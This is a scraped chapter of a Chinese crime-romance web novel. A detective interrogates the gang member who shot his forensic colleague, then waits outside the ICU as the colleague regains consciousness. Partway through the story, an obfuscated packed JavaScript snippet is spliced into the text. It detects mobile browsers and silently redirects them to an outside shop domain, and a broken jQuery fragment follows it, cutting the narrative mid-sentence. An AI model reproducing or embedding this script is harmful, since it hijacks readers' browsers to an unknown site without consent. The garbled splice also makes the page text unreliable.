文趣网 > 其他小说 > 伪证 > 42. 苏醒
    市局刑侦支队,审讯室。

    惨白的灯光打在“猴子”那张因为长期吸——毒而干瘪蜡黄、此刻写满惊恐的脸上。

    他缩在特制的审讯椅里,手腕脚踝都被铐着,像只受惊过度的老鼠,眼睛不安地四处乱瞟,嘴里喃喃着不成句的求饶。

    薛安坐在他对面,身体微微前倾,双臂撑在桌面上。他没穿外套,只穿了件深色衬衫,袖子卷到小臂,露出线条分明的手臂。

    他脸色阴沉,眼睛一眨不眨地盯着“猴子”,那目光不像是在看一个人,更像是在打量一件该被碾碎的垃圾。

    林队安排他参与审讯,本意是让他冷静一下,别在医院干等着。但薛安此刻的状态,显然和“冷静”二字毫不沾边。

    “姓名。”薛安开口,声音不高,却带着冰碴子。

    “猴、猴子……啊不,李、李二狗……”“猴子”哆嗦着回答,眼神根本不敢和薛安对视。

    “为什么开枪?”薛安直接切入核心,每个字都像从牙缝里挤出来。

    “我、我……我没想打警察!我就是、就是看到强哥和大头被、被抓了,我、我害怕!我刚弄了个新‘货’,还没交出去,怕、怕折进去……我看到那个人没、没穿那马甲,就、就……”“猴子”语无伦次,汗水顺着脏兮兮的鬓角往下淌。

    “你他妈知道他是谁吗?”薛安猛地一拍桌子,发出“砰”一声巨响,震得桌上的记录本和笔都跳了一下。“猴子”吓得整个人一哆嗦,差点从椅子上滑下去。

    “不、不知道!真不知道!警官!我、我就是随手、随手……”“猴子”都快哭出来了,他感觉对面这个警察的眼神能把他生吞活剥了。

    “随手?”薛安冷笑一声,那笑声在安静的审讯室里显得格外渗人,“你随手一枪,差点要了一个优秀法医的命!知不知道他刚经历什么?知不知道他肩上扛着什么?!”薛安越说越激动,胸口剧烈起伏,腰伤被牵动,疼得他眉头一皱,但眼神里的怒火烧得更旺。

    旁边的记录员和陪同审讯的另一位刑警交换了一个眼色,都没敢吱声。他们从没见过薛安这么……骇人的一面。平时薛安虽然有点混不吝,但总是乐呵呵的,很好相处。可现在,他像一头被彻底激怒、随时可能扑上去撕碎猎物的雄狮。

    “我、我错了!警官!我真错了!我愿意交代!我什么都交代!我们老大是谁,货从哪来,卖到哪去,我都说!求求你别、别……”“猴子”彻底崩溃了,鼻涕眼泪糊了一脸,开始竹筒倒豆子似的交代他知道的一切,包括他们这个小小拐卖团伙的上线,经常“交货”的几个地点,以及他们虐待控制孩子常用的药物来源。

    薛安听着,脸上没有任何表情,只是手指在桌面上无意识地、一下一下敲击着,发出沉闷的“笃、笃”声。那声音在“猴子”听来,像是催命符。

    “……就、就这些了,警官,我知道的全说了!那个法医……他、他没事吧?我、我真不是故意的……”“猴子”交代完,偷眼去看薛安,被薛安冰冷的眼神一扫,又立刻吓得低下头。

    薛安没理他,站起身。椅子腿在地板上刮出刺耳的噪音。他走到“猴子”面前,居高临下地看着他,声音压得极低,却字字清晰:“如果他有什么事,我保证,你和你那些同伙,在里面的日子,会比现在想象的地狱,难过一万倍。”

    说完,他不再看瘫软如泥的“猴子”,转身大步走出了审讯室。

    门在他身后“哐”一声关上,隔绝了里面令人作呕的气息。

    走廊里,薛安靠在墙上,深深吸了几口气,试图平复翻腾的情绪和腰间的隐痛。

    审讯“猴子”非但没有让他冷静,反而像在滚烫的油锅里又浇了一勺水,让他心里的怒火和焦灼烧得更旺。

    老谢还躺在ICU,生死一线,而这个人渣只是因为“害怕”、“随手”就扣下了扳机……

    他用力揉了揉眉心,感觉太阳穴突突直跳。就在这时,口袋里的手机疯狂震动起来。

    是医院的号码。

    薛安的心瞬间提到了嗓子眼,手指有些发僵地划开接听。

    “喂?是薛安警官吗?这里是市一院ICU。”电话那头传来一个女护士清晰而平稳的声音。

    “我是!他怎么样了?”薛安的声音绷得紧紧的。

    “谢故迟患者刚刚恢复意识,有短暂的清醒。目前生命体征趋于平稳,但仍未脱离危险期。医生评估后,认为可以告知家属一声。另外,患者似乎有轻微的定向障碍和情绪波动,如果可以,家属的安抚可能有助于他稳定。”

    醒了?!老谢醒了!

    薛安只觉得一股巨大的、混杂着狂喜和后怕的热流猛地冲上头顶,让他眼前都有些发花。

    他死死抓着手机,声音因为激动而有些变调:“醒了?真的醒了?他、他情况怎么样?我能去看他吗?现在!”

    “暂时还不行,薛警官。”护士耐心解释,“患者刚刚苏醒,非常虚弱,需要绝对静养。而且观察期未满四十八小时,感染等风险依然存在。您可以在ICU外部的观察窗看看他,但暂时不能进入病房,也不能有太多人打扰。等他情况更稳定一些,医生会安排探视。”

    “好,好,我马上过来!谢谢!谢谢你们!”薛安连声道谢,挂了电话,转身就往外冲,甚至忘了跟还在监控室看审讯录像的林队打声招呼。

    他以最快的速度赶到医院,直奔ICU所在楼层。穿过长长的、弥漫着消毒水气味的走廊,ICU厚重的大门紧闭着,旁边有一扇不大的、带着百叶帘的观察窗。

    薛安放轻脚步,走到观察窗前。透过百叶帘的缝隙,他能看到里面。

    谢故迟躺在靠窗的那张病床上。身上依旧连接着各种监护仪器,氧气面罩换成了鼻导管,脸色依旧苍白得吓人,唇上毫无血色。

    但那双总是平静无波、或者偶尔带着专注锐利的眼睛,此刻微微睁着,望着天花板,眼神有些涣散,失去了焦距,带着重伤初醒后的茫然和虚弱。

    他的胸口随着呼吸微微起伏,动作很轻,似乎连呼吸都需要耗费极大的力气。

    他醒了。真的醒了。

    薛安扒在窗边,贪婪地看着里面那个身影,眼睛一眨不眨。心里那块一直悬着、沉甸甸的巨石,仿佛终于松动了一丝。

    狂喜过后,是更深刻的心疼和后怕。谢故迟看起来那么脆弱,那么易碎,仿佛轻轻一碰就会消失。和他记忆中那个冷静、自持、总是挺直脊背的身影,判若两人。

    老谢……

    薛安的手指无意识地蜷缩起来,抵在冰凉的玻璃上。他想进去,想握住谢故迟的手,想告诉他别怕,想确认他是真的活过来了。但那一层透明的玻璃,却像一道不可逾越的鸿沟,将他们隔开。

    他只能站在这里,像个局外人一样,远远地看着。

    病房里,一个护士正在调整输液的速度,低头温和地对谢故迟说着什么。

    谢故迟的眼珠极其缓慢地转动了一下,似乎想看向护士,但目光依旧没有什么焦点,只是微微动了下头,幅度小得几乎看不见。

    他的嘴唇翕动了一下,似乎想说什么,但戴着氧气导管,发不出清晰的声音。

    薛安看着他那副无力又茫然的样子,心里酸涩得厉害。那个总是用最简洁语言表达最精准意思的谢故迟,那个在解剖台前冷静自若的谢故迟,那个会默默做好早餐、替他揉按伤处的谢故迟……现在却连动一下手指、说一句话都如此费力。

    观察期还没过,危险犹在。医生的话在耳边回响:感染、器官衰竭、后遗症……

    薛安深吸一口气,强迫自己将那些可怕的念头压下去。醒了就好,醒了就是希望。老谢那么坚强,他一定能挺过去。

    他在观察窗外站了不知多久,直到里面的护士拉上了病床周围的帘子,隔绝了他的视线。薛安这才缓缓直起身。

    他走到旁边的家属等候区,找了个角落的位置坐下。这里离ICU很近,能第一时间听到任何消息。他拿出手机,想给林队发个信息说一下情况,却发现手指有些不受控制地微微发抖。

    他闭上眼,靠在冰冷的墙壁上。心里想着:

    老谢,快点好起来。

    外面还有很多事等着你。那些孩子需要正义,你姐姐的车祸……虽然林队说是意外,但我总觉得……还有奕含,还有你妈妈,都需要你。

    还有我……

    薛安在ICU外的家属等候区坐了整整一夜。中途林队打来电话,听说谢故迟醒了,也松了口气,让他注意休息,队里有进展会通知他。薛安含糊应了,眼睛却始终没离开过ICU那扇门。

    后半夜,护士出来过一次,告知谢故迟情况暂时稳定,又睡了,让家属也去休息。

    薛安只是点点头,依旧坐着没动。他怎么可能睡得着?闭上眼睛就是谢故迟胸口洇开的血花,是他躺在推车上毫无生气的样子,是他醒来时茫然涣散的眼神。

    天快亮时,他终于熬不住,头靠着墙壁,迷迷糊糊地打了个盹。但睡得很浅,任何一点细微的动静都能让他瞬间惊醒,每次都第一时间看向ICU的方向。

    早晨七点,医生开始查房。薛安立刻站了起来,但因为坐得太久,腿麻让他动作一滞,差点没站稳。他扶着墙缓了缓,快步走到观察窗前。

    百叶帘已经拉开了一些。谢故迟似乎又醒了,正微微侧着头,看着窗外透进来的、被厚重窗帘过滤得有些暗淡的晨光。

    他的眼神比起昨晚似乎清明了一些,但依旧没什么神采,长长的睫毛垂着,在苍白的脸上投下淡淡的阴影。胸口的起伏比昨晚明显了些,但每一次呼吸,似乎都带着隐忍的不适,眉头微微蹙着。

    护士正在给他测量体温和血压,动作很轻。谢故迟很安静,配合着,只是目光有些空茫地望着某个点,不知道在想什么。

    薛安的心揪紧了。他能想象谢故迟此刻的感受——身体极度的虚弱和疼痛,意识的逐渐回笼,还有……那些不得不面对的、残酷的现实。姐姐的惨死,母亲和奕含的无依,自己重伤的未来……

    就在这时,谢故迟像是感应到了什么,眼珠极其缓慢地转动,朝着观察窗的方向看了过来。

    两人的目光,隔着玻璃,短暂地交汇了。

    谢故迟的眼神依旧是茫然的,甚至有些空洞,仿佛没有认出薛安,或者不确定自己看到的是不是真的。他只是静静地望着这个方向,目光没有焦点。

    薛安的心猛地一沉。老谢……不认识他了?还是意识还没完全清醒?

    他忍不住抬起手,轻轻贴在冰凉的玻璃上,嘴唇动了动,无声地做了个口型:“老谢。”

    病房里的谢故迟,目光似乎在他贴在玻璃上的手掌位置停留了一瞬,然后,极其缓慢地,眨了眨眼。

    那眼神里的茫然褪去了一丝,似乎有了一点极微弱的、类似辨认的波动。但他很快又疲惫地闭上了眼睛,仿佛刚才那一眼已经耗尽了他刚刚积攒的一点力气。

    护士似乎对他说了什么,他几不可察地点了下头。

    薛安的手依旧贴在玻璃上,指尖传来冰冷的触感。他看到谢故迟闭着眼,眉头却蹙得更紧了些,放在身侧的手指无意识地蜷缩了一下,似乎想抓住什么,却又无力地松开。

    他在疼。还是在害怕?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559266|204528||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    或者,两者都有。

    薛安觉得自己的心脏也跟着那蜷缩的手指狠狠揪了一下。他恨不得立刻冲进去,握住那只手,告诉他别怕,告诉他一切有他在。

    但他什么也做不了,只能像个傻子一样站在这里,隔着这该死的玻璃,眼睁睁看着。

    查房的医生走了出来,薛安立刻迎上去:“医生,他怎么样?”

    医生看了看他布满红血丝的眼睛和憔悴的脸色,叹了口气:“你是他同事?”

    “是,也是……朋友。”薛安哑声说。

    “情况比昨晚稳定一些,生命体征在好转。意识也恢复得不错,能简单回应了。但人还很虚,肺部的损伤需要时间恢复,疼痛和感染的风险依然很大。另外,”医生顿了顿,压低声音,“他情绪似乎很低落,不太说话。这对他恢复不利。如果可以,等他情况再好一点,你们亲近的人多来陪他说说话,安抚一下,但注意不要让他情绪激动。”

    “我可以进去看他吗?就一会儿?”薛安急切地问。

    医生摇了摇头:“暂时还不行。至少还要观察24小时,确保没有突发感染和并发症。你先回去休息吧,看你状态也不好。他这里有一有情况,我们会通知。”

    薛安张了张嘴,想再争取,但看到医生不容置疑的眼神,又把话咽了回去。他知道医生是为谢故迟好。

    “那……麻烦你们了。有任何情况,请一定第一时间打我电话。”薛安把自己的号码又报了一遍,虽然昨晚已经留过了。

    医生点点头,走了。

    薛安重新走回观察窗前。谢故迟似乎又睡着了,或者只是闭目养神。晨光稍微亮了一些,落在他苍白的脸上,甚至能看到皮肤下青色的血管。他那么安静,安静得仿佛不存在。

    薛安就在窗外站着,一动不动,像一尊沉默的雕塑。有护士和病人家属经过,投来好奇或同情的目光,他都浑然不觉。他的世界里,此刻只有玻璃那一侧,那个在生死线上徘徊、脆弱得不堪一击的人。

    时间再次变得缓慢而煎熬。薛安不知道自己站了多久,直到手机再次震动,是队里打来的,说“猴子”交代的那个上线“老拐”有线索了,问他要不要参与抓捕会议。

    薛安看了一眼病房里的谢故迟,又看了看手机。他应该回去,参与抓捕,将这些人渣一网打尽,为老谢,也为那些孩子讨回公道。但他脚步像钉在了地上,挪不动。

    最终,他回了条信息:“我在医院,走不开。案情进展和部署发我,我远程参加。有行动叫我。”

    他不能离开。至少现在不能。他必须守在这里,确保谢故迟醒来的第一时间,能看到熟悉的人,哪怕只是隔着玻璃。

    他走回等候区,找了个能看到观察窗的位置坐下,拿出手机,开始接收和查阅队里发来的案情资料。强迫自己将注意力转移到案子上,试图用工作麻痹那蚀骨的担忧和无力感。

    然而,他的目光总是不由自主地飘向观察窗。每一次护士进出,每一次仪器数字的轻微跳动,都能让他的心猛地提起。

    中午,苏芮菡来了,手里提着两个保温饭盒。看到薛安胡子拉碴、眼窝深陷的样子,吓了一跳。

    “薛哥,你一直没回去?吃点东西吧,我给谢哥熬了粥,也给你带了点。”苏芮菡把饭盒递给他。

    薛安道了谢,接过饭盒,却没胃口。

    苏芮菡也看向观察窗,眼圈红了,“谢哥他……从来没这么虚弱过。”

    薛安没说话,只是紧紧攥着饭盒的提手。是啊,老谢从来都是强大的、可靠的,仿佛无所不能。可现在……

    “队里那边,‘老拐’有眉目了,林队亲自带队去布控了。”苏芮菡低声说,“薛哥,你要不先回去休息一下?我在这儿守着。你脸色太差了。”

    “不用,我就在这儿。”薛安摇头,语气坚决,“林队那边有行动告诉我,我随时能去。”

    苏芮菡知道他倔,也没再劝,陪他坐了一会儿,把粥交给护士,嘱咐如果谢故迟醒了想办法让他吃点,然后才一步三回头地走了。

    下午,谢故迟又醒了一次。这次他似乎精神好了一些,护士在帮他稍微调整姿势。他半靠在摇起的病床上,目光缓慢地扫过病房,最后又落在了观察窗的方向。

    薛安立刻站起身,走到窗前。

    谢故迟看到了他。这一次,他的目光不再是茫然的。那双总是平静无波的眼睛里,映出了薛安清晰的身影。

    他的眼神很复杂,有虚弱,有疲惫,有一丝不易察觉的……依赖?

    他就那样静静地看着薛安,看了很久。嘴唇动了动,似乎想说什么,但最终只是几不可察地,对着薛安的方向,轻轻眨了下眼。

    那是一个极其微小的动作,却让薛安心头巨震,眼眶瞬间发热。他用力点了点头,也对着谢故迟,很慢、很清晰地点了下头,用口型无声地说:“我在。”

    谢故迟似乎看到了,又似乎没看到。他极轻地吁出一口气,像是放下了什么重担,重新闭上了眼睛。但这一次,他眉宇间那丝紧绷的痕迹,似乎稍稍舒缓了一点点。

    护士拉上了半边窗帘,挡住了些许视线。

    薛安重新坐回椅子,打开已经冷掉的饭盒,开始机械地往嘴里塞食物。

    夜幕再次降临。医院走廊里的灯亮起,将薛安孤单的身影拉得很长。

    观察窗内的灯光调暗了,谢故迟似乎陷入了沉睡。监护仪上规律跳动的数字和波形,成了这寂静深夜里,唯一令人安心的存在。

    薛安靠在椅背上,闭上眼睛。他没有睡,只是在养神。耳朵竖着,捕捉着ICU方向任何一丝不寻常的动静。